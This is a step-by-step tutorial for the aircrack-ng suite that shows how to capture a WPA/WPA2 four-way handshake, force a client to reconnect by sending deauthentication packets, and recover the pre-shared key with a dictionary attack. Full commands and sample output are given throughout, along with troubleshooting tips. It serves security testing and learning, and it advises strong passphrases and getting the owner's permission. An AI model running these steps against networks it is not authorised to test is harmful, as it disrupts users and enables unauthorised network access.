Introduction
This tutorial walks you through cracking WPA/WPA2 networks which use
pre-shared keys. I recommend you do some background reading to better
understand what WPA/WPA2 is. The
Wiki links page has a
WPA/WPA2 section. The best document describing WPA is
Wi-Fi Security - WEP, WPA and WPA2. This is the
link to download the PDF directly. The
WPA Packet Capture Explained tutorial is a companion to this tutorial.
WPA/WPA2 supports many types of authentication beyond pre-shared keys.
aircrack-ng can ONLY crack pre-shared keys. So make sure
airodump-ng shows the network as having the authentication type of PSK, otherwise, don't bother trying to crack it.
There is another important difference between cracking WPA/WPA2 and WEP.
This is the approach used to crack the WPA/WPA2 pre-shared key.
Unlike WEP, where statistical methods can be used to speed up the
cracking process, only plain brute force techniques can be used against
WPA/WPA2. That is, because the key is not static, so collecting IVs
like when cracking WEP encryption, does not speed up the attack. The
only thing that does give the information to start an attack is the
handshake between client and AP. Handshaking is done when the client
connects to the network.
Although not absolutely true, for the purposes of this tutorial,
consider it true. Since the pre-shared key can be from 8 to 63
characters in length, it effectively becomes impossible to crack the
pre-shared key.
The only time you can crack the pre-shared key is if it is a dictionary
word or relatively short in length. Conversely, if you want to have an
unbreakable wireless network at home, use WPA/WPA2 and a 63 character
password composed of random characters including special symbols.
The impact of having to use a brute force approach is substantial.
Because it is very compute intensive, a computer can only test 50 to 300
possible keys per second depending on the computer CPU. It can take
hours, if not days, to crunch through a large dictionary. If you are
thinking about generating your own password list to cover all the
permutations and combinations of characters and special symbols, check
out this
brute force time calculator first. You will be very surprised at how much time is required.
IMPORTANT This means that the passphrase must be
contained in the dictionary you are using to break WPA/WPA2. If it is
not in the dictionary then aircrack-ng will be unable to determine the
key.
There is no difference between cracking WPA or WPA2 networks. The
authentication methodology is basically the same between them. So the
techniques you use are identical.
It is recommended that you experiment with your home wireless access
point to get familiar with these ideas and techniques. If you do not own
a particular access point, please remember to get permission from the
owner prior to playing with it.
I would like to acknowledge and thank the
Aircrack-ng team for producing such a great robust tool.
Please send me any constructive feedback, positive or negative.
Additional troubleshooting ideas and tips are especially welcome.
Assumptions
First, this solution assumes:
Ensure all of the above assumptions are true, otherwise the advice that
follows will not work. In the examples below, you will need to change
“ath0” to the interface name which is specific to your wireless card.
Equipment used
In this tutorial, here is what was used:
MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
BSSID (MAC address of access point): 00:14:6C:7E:40:80
ESSID (Wireless network name): teddy
Access point channel: 9
Wireless interface: ath0
You should gather the equivalent information for the network you will be
working on. Then just change the values in the examples below to the
specific network.
Solution
Solution Overview
The objective is to capture the WPA/WPA2 authentication handshake and then use
aircrack-ng to crack the pre-shared key.
This can be done either actively or passively. “Actively” means you
will accelerate the process by deauthenticating an existing wireless
client. “Passively” means you simply wait for a wireless client to
authenticate to the WPA/WPA2 network. The advantage of passive is that
you don't actually need injection capability and thus the Windows
version of aircrack-ng can be used.
Here are the basic steps we will be going through:
Start the wireless interface in monitor mode on the specific AP channel
Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
Use aireplay-ng to deauthenticate the wireless client
Run aircrack-ng to crack the pre-shared key using the authentication handshake
Step 1 - Start the wireless interface in monitor mode
The purpose of this step is to put your card into what is called monitor
mode. Monitor mode is the mode whereby your card can listen to every
packet in the air. Normally your card will only “hear” packets
addressed to you. By hearing every packet, we can later capture the
WPA/WPA2 4-way handshake. As well, it will allow us to optionally
deauthenticate a wireless client in a later step.
The exact procedure for enabling monitor mode varies depending on the
driver you are using. To determine the driver (and the correct procedure
to follow), run the following command:
airmon-ng
On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:
Interface Chipset Driver
rausb0 Ralink RT73 rt73
wlan0 Broadcom b43 - [phy0]
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
The presence of a [phy0] tag at the end of the driver name is an
indicator for mac80211, so the Broadcom card is using a mac80211 driver.
Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won't work with v0.9.1.
Both entries of the Atheros card show “madwifi-ng” as the driver -
follow the madwifi-ng-specific steps to set up the Atheros card.
Finally, the Ralink shows neither of these indicators, so it is using an
ieee80211 driver - see the generic instructions for setting it up.
Step 1a - Setting up madwifi-ng
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When
you are finished, run “iwconfig” to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use “wifi0” instead of our wireless interface
of “ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that “ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter “iwconfig”.
The system will respond:
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the
2.452GHz frequency which is channel 9 and the Access Point shows the MAC
address of your wireless card. Only the madwifi-ng drivers show the
card MAC address in the AP field, other drivers do not. So everything
is good. It is important to confirm all this information prior to
proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out:
http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.
Step 1b - Setting up mac80211 drivers
Unlike madwifi-ng, you do not need to remove the wlan0 interface when
setting up mac80211 drivers. Instead, use the following command to set
up your card in monitor mode on channel 9:
airmon-ng start wlan0 9
The system responds:
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
Notice that airmon-ng enabled monitor-mode
on mon0. So, the
correct interface name to use in later parts of the tutorial is mon0.
Wlan0 is still in regular (managed) mode, and can be used as usual,
provided that the AP that wlan0 is connected to is on the same channel
as the AP you are attacking, and you are not performing any
channel-hopping.
To confirm successful setup, run “iwconfig”. The following output should appear:
lo no wireless extensions.
eth0 no wireless extensions.
wmaster0 no wireless extensions.
wlan0 IEEE 802.11bg ESSID:""
Mode:Managed Frequency:2.452 GHz Access Point: Not-Associated
Tx-Power=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.452 GHz Tx-Power=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Here, mon0 is seen as being in monitor mode, on channel 9 (2.452GHz).
Unlike madwifi-ng, the monitor interface has no Access Point field at
all. Also notice that wlan0 is still present, and in managed mode - this
is normal. Because both interfaces share a common radio, they must
always be tuned to the same channel - changing the channel on one
interface also changes channel on the other one.
Step 1c - Setting up other drivers
For other (ieee80211-based) drivers, simply run the following command to
enable monitor mode (replace rausb0 with your interface name):
airmon-ng start rausb0 9
The system responds:
Interface Chipset Driver
rausb0 Ralink rt73 (monitor mode enabled)
At this point, the interface should be ready to use.
Step 2 - Start airodump-ng to collect authentication handshake
The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.
Enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
Where:
-c 9 is the channel for the wireless network
-
-w psk is the file name prefix for the file which will contain the IVs.
ath0 is the interface name.
Important: Do NOT use the “-
-ivs” option. You must capture the full packets.
Here what it looks like if a wireless client is connected to the network:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
In the screen above, notice the “WPA handshake: 00:14:6C:7E:40:80” in
the top right-hand corner. This means airodump-ng has successfully
captured the four-way handshake.
Here it is with no connected wireless clients:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
Troubleshooting Tip
See the
Troubleshooting Tips section below for ideas.
To see if you captured any handshake packets, there are two ways. Watch
the airodump-ng screen for “ WPA handshake: 00:14:6C:7E:40:80” in the
top right-hand corner. This means a four-way handshake was successfully
captured. See just above for an example screenshot.
Use Wireshark and apply a filter of “eapol”. This displays only eapol
packets you are interested in. Thus you can see if capture contains
0,1,2,3 or 4 eapol packets.
Step 3 - Use aireplay-ng to deauthenticate the wireless client
This step is optional. If you are patient, you can wait until
airodump-ng captures a handshake when one or more clients connect to the
AP. You only perform this step if you opted to actively speed up the
process. The other constraint is that there must be a wireless client
currently associated with the AP. If there is no wireless client
currently associated with the AP, then you have to be patient and wait
for one to connect to the AP so that a handshake can be captured.
Needless to say, if a wireless client shows up later and airodump-ng did
not capture the handshake, you can backtrack and perform this step.
This step sends a message to the wireless client saying that that it is
no longer associated with the AP. The wireless client will then
hopefully reauthenticate with the AP. The reauthentication is what
generates the 4-way authentication handshake we are interested in
collecting. This is what we use to break the WPA/WPA2 pre-shared key.
Based on the output of airodump-ng in the previous step, you determine a
client which is currently connected. You need the MAC address for the
following. Open another console session and enter:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Where:
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
ath0 is the interface name
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
With luck this causes the client to reauthenticate and yield the 4-way handshake.
Troubleshooting Tips
The deauthentication packets are
sent directly from your PC to the clients. So you must be physically
close enough to the clients for your wireless card transmissions to
reach them. To confirm the client received the deauthentication
packets, use tcpdump or similar to look for ACK packets back from the
client. If you did not get an ACK packet back, then the client did not
“hear” the deauthentication packet.
Step 4 - Run aircrack-ng to crack the pre-shared key
The purpose of this step is to actually crack the WPA/WPA2 pre-shared
key. To do this, you need a dictionary of words as input. Basically,
aircrack-ng takes each word and tests to see if this is in fact the
pre-shared key.
There is a small dictionary that comes with aircrack-ng -
“password.lst”. This file can be found in the “test” directory of the
aircrack-ng source code. The
Wiki FAQ has an extensive list of dictionary sources. You can use
John the Ripper (JTR) to generate your own list and pipe them into
aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.
Open another console session and enter:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Where:
-w password.lst is the name of the
dictionary file. Remember to specify the full path if the file is not
located in the same directory.
*.cap is name of group of files
containing the captured packets. Notice in this case that we used the
wildcard * to include multiple files.
Here is typical output when there are no handshakes found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
No valid WPA handshakes found.
When this happens you either have to redo step 3 (deauthenticating the
wireless client) or wait longer if you are using the passive approach.
When using the passive approach, you have to wait until a wireless
client authenticates to the AP.
Here is typical output when handshakes are found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
# BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Now at this point, aircrack-ng will start attempting to crack the
pre-shared key. Depending on the speed of your CPU and the size of the
dictionary, this could take a long time, even days.
Here is what successfully cracking the pre-shared key looks like:
Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
Troubleshooting Tips
I Cannot Capture the Four-way Handshake!
It can sometimes be tricky to capture the four-way handshake. Here are some troubleshooting tips to address this:
Your monitor card must be in the
same mode as the both the client and Access Point. So, for example, if
your card was in “B” mode and the client/AP were using “G” mode, then
you would not capture the handshake. This is especially important for
new APs and clients which may be “turbo” mode and/or other new
standards. Some drivers allow you to specify the mode. Also, iwconfig
has an option “modulation” that can sometimes be used. Do “man
iwconfig” to see the options for “modulation”. For information, 1, 2,
5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
Sometimes you also need to set the monitor-mode card to the same speed.
IE auto, 1MB, 2MB, 11MB, 54MB, etc.
Be sure that your capture card is
locked to the same channel as the AP. You can do this by specifying “-c
<channel of AP>” when you start airodump-ng.
Be sure there are no connection
managers running on your system. This can change channels and/or change
mode without your knowledge.
You are physically close enough to
receive both access point and wireless client packets. The wireless
card strength is typically less then the AP strength.
Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
Ideally, connect and disconnect a wireless client normally to generate the handshake.
If you use the deauth technique,
send the absolute minimum of packets to cause the client to
reauthenticate. Normally this is a single deauth packet. Sending an
excessive number of deauth packets may cause the client to fail to
reconnect and thus it will not generate the four-way handshake. As
well, use directed deauths, not broadcast. To confirm the client
received the deauthentication packets, use tcpdump or similar to look
for ACK packets back from the client. If you did not get an ACK packet
back, then the client did not “hear” the deauthentication packet.
Try stopping the radio on the client station then restarting it.
Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
-
Unfortunately, sometimes you need to experiment a bit to get your card
to properly capture the four-way handshake. The point is, if you don't
get it the first time, have patience and experiment a bit. It can be
done!
Another approach is to use Wireshark to review and analyze your packet
capture. This can sometimes give you clues as to what is wrong and thus
some ideas on how to correct it. The
WPA Packet Capture Explained tutorial is a companion to this tutorial and walks you through what a “normal” WPA connection looks like. As well, see the
FAQ for detailed information on how to use Wireshark.
In an ideal world, you should use a wireless device dedicated to
capturing the packets. This is because some drivers such as the
RTL8187L driver do not capture packets the card itself sends. Also,
always use the driver versions specified on the wiki. This is because
some older versions of the drivers such as the RT73 driver did not
capture client packets.
When using Wireshark, the filter “eapol” will quickly display only the
EAPOL packets. Based on what EAPOL packets are actually in the capture,
determine your correction plan. For example, if you are missing the
client packets then try to determine why and how to collect client
packets.
To dig deep into the packet analysis, you must start airodump-ng without
a BSSID filter and specify the capture of the full packet, not just
IVs. Needless to say, it must be locked to the AP channel. The reason
for eliminating the BSSID filter is to ensure all packets including
acknowledgments are captured. With a BSSID filter, certain packets are
dropped from the capture.
Every packet sent by client or AP must be acknowledged. This is done
with an “acknowledgment” packet which has a destination MAC of the
device which sent the original packet. If you are trying to
deauthenticate a client, one thing to check is that you receive the
“ack” packet. This confirms the client received the deauth packet.
Failure to receive the “ack” packet likely means that the client is out
of transmission range. Thus failure.
When it comes to analyzing packet captures, it is impossible to provide
detailed instructions. I have touched on some techniques and areas to
look at. This is an area which requires effort to build your skills on
both WPA/WPA2 plus how to use Wireshark.
aircrack-ng says "0 handshakes"
Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.
aircrack-ng says "No valid WPA handshakes found"
Check the “I Cannot Capture the Four-way Handshake!” troubleshooting tip.
